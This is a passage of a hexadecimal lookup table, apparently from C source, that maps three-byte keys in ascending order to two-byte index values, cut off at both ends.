0x02, 0x25,\r\n0x00, 0xB0, 0x8E, 0x05, 0x00,\r\n0x00, 0xB0, 0x91, 0x03, 0x25,\r\n0x00, 0xB0, 0x94, 0x04, 0x25,\r\n0x00, 0xB0, 0x9A, 0x05, 0x25,\r\n0x00, 0xB0, 0x9D, 0x06, 0x25,\r\n0x00, 0xB0, 0xAC, 0x07, 0x25,\r\n0x00, 0xB0, 0xAE, 0xb4, 0x00,\r\n0x00, 0xB0, 0xB3, 0x96, 0x0e,\r\n0x00, 0xB0, 0xC2, 0x05, 0x00,\r\n0x00, 0xB0, 0xC7, 0xf5, 0x24,\r\n0x00, 0xB0, 0xCE, 0x08, 0x25,\r\n0x00, 0xB0, 0xD0, 0x63, 0x00,\r\n0x00, 0xB0, 0xDB, 0x09, 0x25,\r\n0x00, 0xB0, 0xDF, 0x0a, 0x25,\r\n0x00, 0xB0, 0xE1, 0x05, 0x00,\r\n0x00, 0xB0, 0xE7, 0x0b, 0x25,\r\n0x00, 0xB0, 0xEC, 0x0c, 0x25,\r\n0x00, 0xB0, 0xEE, 0x0d, 0x25,\r\n0x00, 0xB0, 0xF0, 0x0e, 0x25,\r\n0x00, 0xB0, 0xF5, 0x72, 0x00,\r\n0x00, 0xB3, 0x38, 0x0f, 0x25,\r\n0x00, 0xB3, 0x42, 0x10, 0x25,\r\n0x00, 0xB3, 0x62, 0x51, 0x03,\r\n0x00, 0xB5, 0x6D, 0x11, 0x25,\r\n0x00, 0xB5, 0xD6, 0x12, 0x25,\r\n0x00, 0xB6, 0x9F, 0x13, 0x25,\r\n0x00, 0xB7, 0x8D, 0x62, 0x0b,\r\n0x00, 0xB8, 0xC2, 0x14, 0x25,\r\n0x00, 0xB9, 0xF6, 0xe9, 0x01,\r\n0x00, 0xBA, 0xC0, 0x15, 0x25,\r\n0x00, 0xBB, 0x01, 0x16, 0x25,\r\n0x00, 0xBB, 0x3A, 0x96, 0x22,\r\n0x00, 0xBB, 0x8E, 0x17, 0x25,\r\n0x00, 0xBB, 0xC1, 0x7d, 0x00,\r\n0x00, 0xBB, 0xF0, 0x18, 0x25,\r\n0x00, 0xBC, 0x60, 0x05, 0x00,\r\n0x00, 0xBD, 0x27, 0x19, 0x25,\r\n0x00, 0xBD, 0x3A, 0x4f, 0x12,\r\n0x00, 0xBD, 0x82, 0xe9, 0x01,\r\n0x00, 0xBE, 0x3B, 0xda, 0x14,\r\n0x00, 0xBE, 0x75, 0x05, 0x00,\r\n0x00, 0xBE, 0x9E, 0x54, 0x1f,\r\n0x00, 0xBF, 0x15, 0x9a, 0x09,\r\n0x00, 0xBF, 0x61, 0x4f, 0x02,\r\n0x00, 0xBF, 0x77, 0x05, 0x00,\r\n0x00, 0xC0, 0x00, 0x1a, 0x25,\r\n0x00, 0xC0, 0x01, 0x1b, 0x25,\r\n0x00, 0xC0, 0x02, 0xef, 0x0c,\r\n0x00, 0xC0, 0x03, 0x1c, 0x25,\r\n0x00, 0xC0, 0x04, 0x1d, 0x25,\r\n0x00, 0xC0, 0x05, 0x1e, 0x25,\r\n0x00, 0xC0, 0x06, 0x1f, 0x25,\r\n0x00, 0xC0, 0x07, 0xc3, 0x1f,\r\n0x00, 0xC0, 0x08, 0x20, 0x25,\r\n0x00, 0xC0, 0x09, 0x21, 0x25,\r\n0x00, 0xC0, 0x0A, 0x22, 0x25,\r\n0x00, 0xC0, 0x0B, 0x23, 0x25,\r\n0x00, 0xC0, 0x0C, 0x24, 0x25,\r\n0x00, 0xC0, 0x0D, 0xf7, 0x01,\r\n0x00, 0xC0, 0x0E, 0x25, 0x25,\r\n0x00, 0xC0, 0x0F, 0x26, 0x25,\r\n0x00, 0xC0, 0x10, 0x27, 0x25,\r\n0x00, 0xC0, 0x11, 0x40, 0x06,\r\n0x00, 0xC0, 0x12, 0x28, 0x25,\r\n0x00, 0xC0, 0x13, 0x29, 0x25,\r\n0x00, 0xC0, 0x14, 0x55, 0x00,\r\n0x00, 0xC0, 0x15, 0xcd, 0x15,\r\n0x00, 0xC0, 0x16, 0x38, 0x05,\r\n0x00, 0xC0, 0x17, 0x10, 0x23,\r\n0x00, 0xC0, 0x18, 0x2a, 0x25,\r\n0x00, 0xC0, 0x19, 0x2b, 0x25,\r\n0x00, 0xC0, 0x1A, 0x2c, 0x25,\r\n0x00, 0xC0, 0x1B, 0x2d, 0x25,\r\n0x00, 0xC0, 0x1C, 0xd2, 0x12,\r\n0x00, 0xC0, 0x1D, 0x2e, 0x25,\r\n0x00, 0xC0, 0x1E, 0x2f, 0x25,\r\n0x00, 0xC0, 0x1F, 0x30, 0x25,\r\n0x00, 0xC0, 0x20, 0x31, 0x25,\r\n0x00, 0xC0, 0x21, 0x32, 0x25,\r\n0x00, 0xC0, 0x22, 0x33, 0x25,\r\n0x00, 0xC0, 0x23, 0x34, 0x25,\r\n0x00, 0xC0, 0x24, 0x35, 0x25,\r\n0x00, 0xC0, 0x25, 0x36, 0x25,\r\n0x00, 0xC0, 0x26, 0x37, 0x25,\r\n0x00, 0xC0, 0x27, 0x38, 0x25,\r\n0x00, 0xC0, 0x28, 0x39, 0x25,\r\n0x00, 0xC0, 0x29, 0x3a, 0x25,\r\n0x00, 0xC0, 0x2A, 0x3b, 0x25,\r\n0x00, 0xC0, 0x2B, 0x3c, 0x25,\r\n0x00, 0xC0, 0x2C, 0x3d, 0x25,\r\n0x00, 0xC0, 0x2D, 0x3e, 0x25,\r\n0x00, 0xC0, 0x2E, 0x3f, 0x25,\r\n0x00, 0xC0, 0x2F, 0x40, 0x25,\r\n0x00, 0xC0, 0x30, 0xd5, 0x00,\r\n0x00, 0xC0, 0x31, 0x41, 0x25,\r\n0x00, 0xC0, 0x32, 0x42, 0x25,\r\n0x00, 0xC0, 0x33, 0x43, 0x25,\r\n0x00, 0xC0, 0x34, 0xaa, 0x0c,\r\n0x00, 0xC0, 0x35, 0x44, 0x25,\r\n0x00, 0xC0, 0x36, 0x45, 0x25,\r\n0x00, 0xC0, 0x37, 0x46, 0x25,\r\n0x00, 0xC0, 0x38, 0x47, 0x25,\r\n0x00, 0xC0, 0x39, 0x48, 0x25,\r\n0x00, 0xC0, 0x3A, 0x49, 0x25,\r\n0x00, 0xC0, 0x3B, 0x4a, 0x25,\r\n0x00, 0xC0, 0x3C, 0x4b, 0x25,\r\n0x00, 0xC0, 0x3D, 0x4c, 0x25,\r\n0x00, 0xC0, 0x3E, 0x4d, 0x25,\r\n0x00, 0xC0, 0x3F, 0x4e, 0x25,\r\n0x00, 0xC0, 0x40, 0x4f, 0x25,\r\n0x00, 0xC0, 0x41, 0xc3, 0x12,\r\n0x00, 0xC0, 0x42, 0x50, 0x25,\r\n0x00, 0xC0, 0x43, 0x51, 0x25,\r\n0x00, 0xC0, 0x44, 0x52, 0x25,\r\n0x00, 0xC0, 0x45, 0x53, 0x25,\r\n0x00, 0xC0, 0x46, 0x54, 0x25,\r\n0x00, 0xC0, 0x47, 0x55, 0x25,\r\n0x00, 0xC0, 0x48, 0x56, 0x25,\r\n0x00, 0xC0, 0x49, 0x57, 0x25,\r\n0x00, 0xC0, 0x4A, 0x58, 0x25,\r\n0x00, 0xC0, 0x4B, 0x1a, 0x02,\r\n0x00, 0xC0, 0x4C, 0x59, 0x25,\r\n0x00, 0xC0, 0x4D, 0x5a, 0x25,\r\n0x00, 0xC0, 0x4E, 0x5b, 0x25,\r\n0x00, 0xC0, 0x4F, 0xd1, 0x05,\r\n0x00, 0xC0, 0x50, 0x5c, 0x25,\r\n0x00, 0xC0, 0x51, 0xf7, 0x01,\r\n0x00, 0xC0, 0x52, 0x5d, 0x25,\r\n0x00, 0xC0, 0x53, 0x5e, 0x25,\r\n0x00, 0xC0, 0x54, 0xa4, 0x04,\r\n0x00, 0xC0, 0x55, 0x5f, 0x25,\r\n0x00, 0xC0, 0x56, 0x60, 0x25,\r\n0x00, 0xC0, 0x57, 0x61, 0x25,\r\n0x00, 0xC0, 0x58, 0x62, 0x25,\r\n0x00, 0xC0, 0x59, 0x63, 0x25,\r\n0x00, 0xC0, 0x5A, 0x64, 0x25,\r\n0x00, 0xC0, 0x5B, 0x65, 0x25,\r\n0x00, 0xC0, 0x5C, 0x66, 0x25,\r\n0x00, 0xC0, 0x5D, 0x67, 0x25,\r\n0x00, 0xC0, 0x5E, 0x68, 0x25,\r\n0x00, 0xC0, 0x5F, 0x69, 0x25,\r\n0x00, 0xC0, 0x60, 0x6a, 0x25,\r\n0x00, 0xC0, 0x61, 0x6b, 0x25,\r\n0x00, 0xC0, 0x62, 0x6c, 0x25,\r\n0x00, 0xC0, 0x63, 0x6d, 0x25,\r\n0x00, 0xC0, 0x64, 0xd2, 0x0f,\r\n0x00, 0xC0, 0x65, 0x6e, 0x25,\r\n0x00, 0xC0, 0x66, 0x6f, 0x25,\r\n0x00, 0xC0, 0x67, 0x70, 0x25,\r\n0x00, 0xC0, 0x68, 0xf8, 0x0c,\r\n0x00, 0xC0, 0x69, 0x7d, 0x0e,\r\n0x00, 0xC0, 0x6A, 0x71, 0x25,\r\n0x00, 0xC0, 0x6B, 0x72, 0x25,\r\n0x00, 0xC0, 0x6C, 0x73, 0x25,\r\n0x00, 0xC0, 0x6D, 0x74, 0x25,\r\n0x00, 0xC0, 0x6E, 0x75, 0x25,\r\n0x00, 0xC0, 0x6F, 0x76, 0x25,\r\n0x00, 0xC0, 0x70, 0x77, 0x25,\r\n0x00, 0xC0, 0x71, 0x78, 0x25,\r\n0x00, 0xC0, 0x72, 0x79, 0x25,\r\n0x00, 0xC0, 0x73, 0x7a, 0x25,\r\n0x00, 0xC0, 0x74, 0x7b, 0x25,\r\n0x00, 0xC0, 0x75, 0x7c, 0x25,\r\n0x00, 0xC0, 0x76, 0x7d, 0x25,\r\n0x00, 0xC0, 0x77, 0xaa, 0x09,\r\n0x00, 0xC0, 0x78, 0x63, 0x00,\r\n0x00, 0xC0, 0x79, 0x7e, 0x25,\r\n0x00, 0xC0, 0x7A, 0x7f, 0x25,\r\n0x00, 0xC0, 0x7B, 0x80, 0x25,\r\n0x00, 0xC0, 0x7C, 0x81, 0x25,\r\n0x00, 0xC0, 0x7D, 0x82, 0x25,\r\n0x00, 0xC0, 0x7E, 0x83, 0x25,\r\n0x00, 0xC0, 0x7F, 0x84, 0x25,\r\n0x00, 0xC0, 0x80, 0x7b, 0x0d,\r\n0x00, 0xC0, 0x81, 0x85, 0x25,\r\n0x00, 0xC0, 0x82, 0x86, 0x25,\r\n0x00, 0xC0, 0x83, 0x87, 0x25,\r\n0x00, 0xC0, 0x84, 0x88, 0x25,\r\n0x00, 0xC0, 0x85, 0x7d, 0x00,\r\n0x00, 0xC0, 0x86, 0x89, 0x25,\r\n0x00, 0xC0, 0x87, 0x8a, 0x25,\r\n0x00, 0xC0, 0x88, 0x8b, 0x25,\r\n0x00, 0xC0, 0x89, 0x8c, 0x25,\r\n0x00, 0xC0, 0x8A, 0x8d, 0x25,\r\n0x00, 0xC0, 0x8B, 0x8e, 0x25,\r\n0x00, 0xC0, 0x8C, 0xa1, 0x0e,\r\n0x00, 0xC0, 0x8D, 0x8f, 0x25,\r\n0x00, 0xC0, 0x8E, 0xea, 0x22,\r\n0x00, 0xC0, 0x8F, 0x5e, 0x0d,\r\n0x00, 0xC0, 0x90, 0x90, 0x25,\r\n0x00, 0xC0, 0x91, 0x91, 0x25,\r\n0x00, 0xC0, 0x92, 0x92, 0x25,\r\n0x00, 0xC0, 0x93, 0x93, 0x25,\r\n0x00, 0xC0, 0x94, 0x94, 0x25,\r\n0x00, 0xC0, 0x95, 0x46, 0x0f,\r\n0x00, 0xC0, 0x96, 0x95, 0x25,\r\n0x00, 0xC0, 0x97, 0x96, 0x25,\r\n0x00, 0xC0, 0x98, 0x97, 0x25,\r\n0x00, 0xC0, 0x99, 0x98, 0x25,\r\n0x00, 0xC0, 0x9A, 0x80, 0x13,\r\n0x00, 0xC0, 0x9B, 0xaf, 0x0e,\r\n0x00, 0xC0, 0x9C, 0x4f, 0x01,\r\n0x00, 0xC0, 0x9D, 0x18, 0x24,\r\n0x00, 0xC0, 0x9E, 0x99, 0x25,\r\n0x00, 0xC0, 0x9F, 0x20, 0x13,\r\n0x00, 0xC0, 0xA0, 0x9a, 0x25,\r\n0x00, 0xC0, 0xA1, 0x9b, 0x25,\r\n0x00, 0xC0, 0xA2, 0x9c, 0x25,\r\n0x00, 0xC0, 0xA3, 0x9d, 0x25,\r\n0x00, 0xC0, 0xA4, 0x9e, 0x25,\r\n0x00, 0xC0, 0xA5, 0x9f, 0x25,\r\n0x00, 0xC0, 0xA6, 0xa0, 0x25,\r\n0x00, 0xC0, 0xA7, 0xa1, 0x25,\r\n0x00, 0xC0, 0xA8, 0xa2, 0x25,\r\n0x00, 0xC0, 0xA9, 0xa3, 0x25,\r\n0x00, 0xC0, 0xAA, 0xa4, 0x25,\r\n0x00, 0xC0, 0xAB, 0x18, 0x00,\r\n0x00, 0xC0, 0xAC, 0xa5, 0x25,\r\n0x00, 0xC0, 0xAD, 0xa6, 0x25,\r\n0x00, 0xC0, 0xAE, 0xa7, 0x25,\r\n0x00, 0xC0, 0xAF, 0xa8, 0x25,\r\n0x00, 0xC0, 0xB0, 0xa9, 0x25,\r\n0x00, 0xC0, 0xB1, 0xaa, 0x25,\r\n0x00, 0xC0, 0xB2, 0xab, 0x25,\r\n0x00, 0xC0, 0xB3, 0xac, 0x25,\r\n0x00, 0xC0, 0xB4, 0xad, 0x25,\r\n0x00, 0xC0, 0xB5, 0xae, 0x25,\r\n0x00, 0xC0, 0xB6, 0x7b, 0x23,\r\n0x00, 0xC0, 0xB7, 0x36, 0x06,\r\n0x00, 0xC0, 0xB8, 0xaf, 0x25,\r\n0x00, 0xC0, 0xB9, 0xb0, 0x25,\r\n0x00, 0xC0, 0xBA, 0xb1, 0x25,\r\n0x00, 0xC0, 0xBB, 0xb2, 0x25,\r\n0x00, 0xC0, 0xBC, 0xb3, 0x25,\r\n0x00, 0xC0, 0xBD, 0xb4, 0x25,\r\n0x00, 0xC0, 0xBE, 0xd1, 0x06,\r\n0x00, 0xC0, 0xBF, 0x71, 0x0c,\r\n0x00, 0xC0, 0xC0, 0xb5, 0x25,\r\n0x00, 0xC0, 0xC1, 0xb6, 0x25,\r\n0x00, 0xC0, 0xC2, 0x8f, 0x04,\r\n0x00, 0xC0, 0xC3, 0xb7, 0x25,\r\n0x00, 0xC0, 0xC4, 0x63, 0x00,\r\n0x00, 0xC0, 0xC5, 0xb8, 0x25,\r\n0x00, 0xC0, 0xC6, 0x23, 0x24,\r\n0x00, 0xC0, 0xC7, 0xb9, 0x25,\r\n0x00, 0xC0, 0xC8, 0xba, 0x25,\r\n0x00, 0xC0, 0xC9, 0xbb, 0x25,\r\n0x00, 0xC0, 0xCA, 0xbc, 0x25,\r\n0x00, 0xC0, 0xCB, 0xbc, 0x0b,\r\n0x00, 0xC0, 0xCC, 0xbd, 0x25,\r\n0x00, 0xC0, 0xCD, 0xbe, 0x25,\r\n0x00, 0xC0, 0xCE, 0xbf, 0x25,\r\n0x00, 0xC0, 0xCF, 0xc0, 0x25,\r\n0x00, 0xC0, 0xD0, 0xc1, 0x25,\r\n0x00, 0xC0, 0xD1, 0xc2, 0x25,\r\n0x00, 0xC0, 0xD2, 0xc3, 0x25,\r\n0x00, 0xC0, 0xD3, 0xc4, 0x25,\r\n0x00, 0xC0, 0xD4, 0xc5, 0x25,\r\n0x00, 0xC0, 0xD5, 0xc6, 0x25,\r\n0x00, 0xC0, 0xD6, 0xc7, 0x25,\r\n0x00, 0xC0, 0xD7, 0xc8, 0x25,\r\n0x00, 0xC0, 0xD8, 0x0a, 0x01,\r\n0x00, 0xC0, 0xD9, 0xc9, 0x25,\r\n0x00, 0xC0, 0xDA, 0xa2, 0x02,\r\n0x00, 0xC0, 0xDB, 0xca, 0x25,\r\n0x00, 0xC0, 0xDC, 0xcb, 0x25,\r\n0x00, 0xC0, 0xDD, 0x91, 0x0c,\r\n0x00, 0xC0, 0xDE, 0xcc, 0x25,\r\n0x00, 0xC0, 0xDF, 0xcd, 0x25,\r\n0x00, 0xC0, 0xE0, 0xce, 0x25,\r\n0x00, 0xC0, 0xE1, 0xcf, 0x25,\r\n0x00, 0xC0, 0xE2, 0xd0, 0x25,\r\n0x00, 0xC0, 0xE3, 0xd1, 0x25,\r\n0x00, 0xC0, 0xE4, 0xb0, 0x04,\r\n0x00, 0xC0, 0xE5, 0xd2, 0x25,\r\n0x00, 0xC0, 0xE6, 0x9d, 0x1a,\r\n0x00, 0xC0, 0xE7, 0xd3, 0x25,\r\n0x00, 0xC0, 0xE8, 0xd4, 0x25,\r\n0x00, 0xC0, 0xE9, 0xd5, 0x25,\r\n0x00, 0xC0, 0xEA, 0xd6, 0x25,\r\n0x00, 0xC0, 0xEB, 0xd7, 0x25,\r\n0x00, 0xC0, 0xEC, 0xd8, 0x25,\r\n0x00, 0xC0, 0xED, 0xd9, 0x25,\r\n0x00, 0xC0, 0xEE, 0x44, 0x1c,\r\n0x00, 0xC0, 0xEF, 0xda, 0x25,\r\n0x00, 0xC0, 0xF0, 0x0b, 0x1f,\r\n0x00, 0xC0, 0xF1, 0xb5, 0x0e,\r\n0x00, 0xC0, 0xF2, 0x54, 0x24,\r\n0x00, 0xC0, 0xF3, 0xbb, 0x14,\r\n0x00, 0xC0, 0xF4, 0xd2, 0x12,\r\n0x00, 0xC0, 0xF5, 0xdb, 0x25,\r\n0x00, 0xC0, 0xF6, 0xdc, 0x25,\r\n0x00, 0xC0, 0xF7, 0xdd, 0x25,\r\n0x00, 0xC0, 0xF8, 0xde, 0x25,\r\n0x00, 0xC0, 0xF9, 0x95, 0x01,\r\n0x00, 0xC0, 0xFA, 0xdf, 0x25,\r\n0x00, 0xC0, 0xFB, 0xf7, 0x01,\r\n0x00, 0xC0, 0xFC, 0xe0, 0x25,\r\n0x00, 0xC0, 0xFD, 0xe1, 0x25,\r\n0x00, 0xC0, 0xFE, 0xe2, 0x25,\r\n0x00, 0xC0, 0xFF, 0x13, 0x21,\r\n0x00, 0xC1, 0x4F, 0xe3, 0x25,\r\n0x00, 0xC1, 0x64, 0x05, 0x00,\r\n0x00, 0xC1, 0xB1, 0x05, 0x00,\r\n0x00, 0xC2, 0xC6, 0x80, 0x10,\r\n0x00, 0xC3, 0xF4, 0x4f, 0x02,\r\n0x00, 0xC5, 0xDB, 0x80, 0x20,\r\n0x00, 0xC6, 0x10, 0x51, 0x03,\r\n0x00, 0xC8, 0x8B, 0x05, 0x00,\r\n0x00, 0xCA, 0xE5, 0x05, 0x00,\r\n0x00, 0xCB, 0x00, 0x65, 0x00,\r\n0x00, 0xCB, 0xB4, 0xe9, 0x01,\r\n0x00, 0xCB, 0xBD, 0x34, 0x02,\r\n0x00, 0xCC, 0x3F, 0x0a, 0x01,\r\n0x00, 0xCC, 0xFC, 0x05, 0x00,\r\n0x00, 0xCD, 0x90, 0xe4, 0x25,\r\n0x00, 0xCD, 0xFE, 0x51, 0x03,\r\n0x00, 0xCF, 0x1C, 0x5a, 0x08,\r\n0x00, 0xCF, 0xC0, 0xe5, 0x25,\r\n0x00, 0xD0, 0x00, 0xe6, 0x25,\r\n0x00, 0xD0, 0x01, 0xe7, 0x25,\r\n0x00, 0xD0, 0x02, 0xe8, 0x25,\r\n0x00, 0xD0, 0x03, 0xe9, 0x25,\r\n0x00, 0xD0, 0x04, 0xea, 0x25,\r\n0x00, 0xD0, 0x05, 0xeb, 0x25,\r\n0x00, 0xD0, 0x06, 0x05, 0x00,\r\n0x00, 0xD0, 0x07, 0xec, 0x25,\r\n0x00, 0xD0, 0x08, 0xed, 0x25,\r\n0x00, 0xD0, 0x09, 0x0f, 0x1b,\r\n0x00, 0xD0, 0x0A, 0xee, 0x25,\r\n0x00, 0xD0, 0x0B, 0xef, 0x25,\r\n0x00, 0xD0, 0x0C, 0xf0, 0x25,\r\n0x00, 0xD0, 0x0D, 0xf1, 0x25,\r\n0x00, 0xD0, 0x0E, 0xf2, 0x25,\r\n0x00, 0xD0, 0x0F, 0xf3, 0x25,\r\n0x00, 0xD0, 0x10, 0xf2, 0x15,\r\n0x00, 0xD0, 0x11, 0xf4, 0x25,\r\n0x00, 0xD0, 0x12, 0xf5, 0x25,\r\n0x00, 0xD0, 0x13, 0xf6, 0x25,\r\n0x00, 0xD0, 0x14, 0xf7, 0x25,\r\n0x00, 0xD0, 0x15, 0xf8, 0x25,\r\n0x00, 0xD0, 0x16, 0xf9, 0x25,\r\n0x00, 0xD0, 0x17, 0xfa, 0x25,\r\n0x00, 0xD0, 0x18, 0xfb, 0x25,\r\n0x00, 0xD0, 0x19, 0x75, 0x12,\r\n0x00, 0xD0, 0x1A, 0xfc, 0x25,\r\n0x00, 0xD0, 0x1B, 0xfd, 0x25,\r\n0x00, 0xD0, 0x1C, 0xfe, 0x25,\r\n0x00, 0xD0, 0x1D, 0xff, 0x25,\r\n0x00, 0xD0, 0x1E, 0x00, 0x26,\r\n0x00, 0xD0, 0x1F, 0x01, 0x26,\r\n0x00, 0xD0, 0x20, 0x02, 0x26,\r\n0x00, 0xD0, 0x21, 0x03, 0x26,\r\n0x00, 0xD0, 0x22, 0x04, 0x26,\r\n0x00, 0xD0, 0x23, 0x05, 0x26,\r\n0x00, 0xD0, 0x24, 0x06, 0x26,\r\n0x00, 0xD0, 0x25, 0x07, 0x26,\r\n0x00, 0xD0, 0x26, 0x5b, 0x16,\r\n0x00, 0xD0, 0x27, 0x08, 0x26,\r\n0x00, 0xD0, 0x28, 0x60, 0x09,\r\n0x00, 0xD0, 0x29, 0x09, 0x26,\r\n0x00, 0xD0, 0x2A, 0x0a, 0x26,\r\n0x00, 0xD0, 0x2B, 0x0b, 0x26,\r\n0x00, 0xD0, 0x2C, 0x0c, 0x26,\r\n0x00, 0xD0, 0x2D, 0x0d, 0x26,\r\n0x00, 0xD0, 0x2E, 0x5a, 0x08,\r\n0x00, 0xD0, 0x2F, 0x0e, 0x26,\r\n0x00, 0xD0, 0x30, 0x0f, 0x26,\r\n0x00, 0xD0, 0x31, 0xf6, 0x09,\r\n0x00, 0xD0, 0x32, 0x10, 0x26,\r\n0x00, 0xD0, 0x33, 0x11, 0x26,\r\n0x00, 0xD0, 0x34, 0x12, 0x26,\r\n0x00, 0xD0, 0x35, 0x13, 0x26,\r\n0x00, 0xD0, 0x36, 0x71, 0x0c,\r\n0x00, 0xD0, 0x37, 0xb9, 0x00,\r\n0x00, 0xD0, 0x38, 0x14, 0x26,\r\n0x00, 0xD0, 0x39, 0x15, 0x26,\r\n0x00, 0xD0, 0x3A, 0x16, 0x26,\r\n0x00, 0xD0, 0x3B, 0x17, 0x26,\r\n0x00, 0xD0, 0x3C, 0x18, 0x26,\r\n0x00, 0xD0, 0x3D, 0x19, 0x26,\r\n0x00, 0xD0, 0x3E, 0x1a, 0x26,\r\n0x00, 0xD0, 0x3F, 0x36, 0x06,\r\n0x00, 0xD0, 0x40, 0x1b, 0x26,\r\n0x00, 0xD0, 0x41, 0x1c, 0x26,\r\n0x00, 0xD0, 0x42, 0x1d, 0x26,\r\n0x00, 0xD0, 0x43, 0x1e, 0x26,\r\n0x00, 0xD0, 0x44, 0x1f, 0x26,\r\n0x00, 0xD0, 0x45, 0x20, 0x26,\r\n0x00, 0xD0, 0x46, 0x21, 0x26,\r\n0x00, 0xD0, 0x47, 0x22, 0x26,\r\n0x00, 0xD0, 0x48, 0x23, 0x26,\r\n0x00, 0xD0, 0x49, 0x24, 0x26,\r\n0x00, 0xD0, 0x4A, 0x25, 0x26,\r\n0x00, 0xD0, 0x4B, 0x26, 0x26,\r\n0x00, 0xD0, 0x4C, 0x27, 0x26,\r\n0x00, 0xD0, 0x4D, 0x28, 0x26,\r\n0x00, 0xD0, 0x4E, 0x29, 0x26,\r\n0x00, 0xD0, 0x4F, 0x2a, 0x26,\r\n0x00, 0xD0, 0x50, 0x2b, 0x26,\r\n0x00, 0xD0, 0x51, 0x2c, 0x26,\r\n0x00, 0xD0, 0x52, 0x80, 0x25,\r\n0x00, 0xD0, 0x53, 0x2d, 0x26,\r\n0x00, 0xD0, 0x54, 0x2e, 0x26,\r\n0x00, 0xD0, 0x55, 0x2f, 0x26,\r\n0x00, 0xD0, 0x56, 0x30, 0x26,\r\n0x00, 0xD0, 0x57, 0x31, 0x26,\r\n0x00, 0xD0, 0x58, 0x05, 0x00,\r\n0x00, 0xD0, 0x59, 0x5e, 0x02,\r\n0x00, 0xD0, 0x5A, 0x32, 0x26,\r\n0x00, 0xD0, 0x5B, 0x33, 0x26,\r\n0x00, 0xD0, 0x5C, 0x2f, 0x26,\r\n0x00, 0xD0, 0x5D, 0x34, 0x26,\r\n0x00, 0xD0, 0x5E, 0x35, 0x26,\r\n0x00, 0xD0, 0x5F, 0x36, 0x26,\r\n0x00, 0xD0, 0x60, 0x5e, 0x0d,\r\n0x00, 0xD0, 0x61, 0x37, 0x26,\r\n0x00, 0xD0, 0x62, 0x38, 0x26,\r\n0x00, 0xD0, 0x63, 0x05, 0x00,\r\n0x00, 0xD0, 0x64, 0x39, 0x26,\r\n0x00, 0xD0, 0x65, 0x3a, 0x26,\r\n0x00, 0xD0, 0x66, 0x3b, 0x26,\r\n0x00, 0xD0, 0x67, 0x3c, 0x26,\r\n0x00, 0xD0, 0x68, 0x3d, 0x26,\r\n0x00, 0xD0, 0x69, 0x71, 0x0c,\r\n0x00, 0xD0, 0x6A, 0x3e, 0x26,\r\n0x00, 0xD0, 0x6B, 0x3f, 0x26,\r\n0x00, 0xD0, 0x6C, 0x40, 0x26,\r\n0x00, 0xD0, 0x6D, 0x41, 0x26,\r\n0x00, 0xD0, 0x6E, 0x42, 0x26,\r\n0x00, 0xD0, 0x6F, 0x43, 0x26,\r\n0x00, 0xD0, 0x70, 0x44, 0x26,\r\n0x00, 0xD0, 0x71, 0x45, 0x26,\r\n0x00, 0xD0, 0x72, 0x46, 0x26,\r\n0x00, 0xD0, 0x73, 0x47, 0x26,\r\n0x00, 0xD0, 0x74, 0x48, 0x26,\r\n0x00, 0xD0, 0x75, 0x49, 0x26,\r\n0x00, 0xD0, 0x76, 0x4a, 0x26,\r\n0x00, 0xD0, 0x77, 0x09, 0x05,\r\n0x00, 0xD0, 0x78, 0x4b, 0x26,\r\n0x00, 0xD0, 0x79, 0x05, 0x00,\r\n0x00, 0xD0, 0x7A, 0x4c, 0x26,\r\n0x00, 0xD0, 0x7B, 0x4d, 0x26,\r\n0x00, 0xD0, 0x7C, 0x4e, 0x26,\r\n0x00, 0xD0, 0x7D, 0x4f, 0x26,\r\n0x00, 0xD0, 0x7E, 0x50, 0x26,\r\n0x00, 0xD0, 0x7F, 0x51, 0x26,\r\n0x00, 0xD0, 0x80, 0x52, 0x26,\r\n0x00, 0xD0, 0x81, 0x53, 0x26,\r\n0x00, 0xD0, 0x82, 0x54, 0x26,\r\n0x00, 0xD0, 0x83, 0x55, 0x26,\r\n0x00, 0xD0, 0x84, 0x56, 0x26,\r\n0x00, 0xD0, 0x85, 0x57, 0x26,\r\n0x00, 0xD0, 0x86, 0x58, 0x26,\r\n0x00, 0xD0, 0x87, 0x59, 0x26,\r\n0x00, 0xD0, 0x88, 0xb9, 0x00,\r\n0x00, 0xD0, 0x89, 0x5a, 0x26,\r\n0x00, 0xD0, 0x8A, 0x5b, 0x26,\r\n0x00, 0xD0, 0x8B, 0x60, 0x0a,\r\n0x00, 0xD0, 0x8C, 0x5c, 0x26,\r\n0x00, 0xD0, 0x8D, 0x5d, 0x26,\r\n0x00, 0xD0, 0x8E, 0x1c, 0x21,\r\n0x00, 0xD0, 0x8F, 0x5e, 0x26,\r\n0x00, 0xD0, 0x90, 0x05, 0x00,\r\n0x00, 0xD0, 0x91, 0x5f, 0x26,\r\n0x00, 0xD0, 0x92, 0x54, 0x22,\r\n0x00, 0xD0, 0x93, 0x60, 0x26,\r\n0x00, 0xD0, 0x94, 0x61, 0x26,\r\n0x00, 0xD0, 0x95, 0xd1, 0x06,\r\n0x00, 0xD0, 0x96, 0xc0, 0x03,\r\n0x00, 0xD0, 0x97, 0x05, 0x00,\r\n0x00, 0xD0, 0x98, 0x62, 0x26,\r\n0x00, 0xD0, 0x99, 0x63, 0x26,\r\n0x00, 0xD0, 0x9A, 0x64, 0x26,\r\n0x00, 0xD0, 0x9B, 0x65, 0x26,\r\n0x00, 0xD0, 0x9C, 0x66, 0x26,\r\n0x00, 0xD0, 0x9D, 0x67, 0x26,\r\n0x00, 0xD0, 0x9E, 0x02, 0x0c,\r\n0x00, 0xD0, 0x9F, 0x68, 0x26,\r\n0x00, 0xD0, 0xA0, 0x69, 0x26,\r\n0x00, 0xD0, 0xA1, 0x6a, 0x26,\r\n0x00, 0xD0, 0xA2, 0xd5, 0x00,\r\n0x00, 0xD0, 0xA3, 0x6b, 0x26,\r\n0x00, 0xD0, 0xA4, 0x6c, 0x26,\r\n0x00, 0xD0, 0xA5, 0x36, 0x06,\r\n0x00, 0xD0, 0xA6, 0x6d, 0x26,\r\n0x00, 0xD0, 0xA7, 0x67, 0x02,\r\n0x00, 0xD0, 0xA8, 0xfb, 0x01,\r\n0x00, 0xD0, 0xA9, 0x6e, 0x26,\r\n0x00, 0xD0, 0xAA, 0x6f, 0x26,\r\n0x00, 0xD0, 0xAB, 0x70, 0x26,\r\n0x00, 0xD0, 0xAC, 0x49, 0x20,\r\n0x00, 0xD0, 0xAD, 0x71, 0x26,\r\n0x00, 0xD0, 0xAE, 0x72, 0x26,\r\n0x00, 0xD0, 0xAF, 0x73, 0x26,\r\n0x00, 0xD0, 0xB0, 0x74, 0x26,\r\n0x00, 0xD0, 0xB1, 0x75, 0x26,\r\n0x00, 0xD0, 0xB2, 0x11, 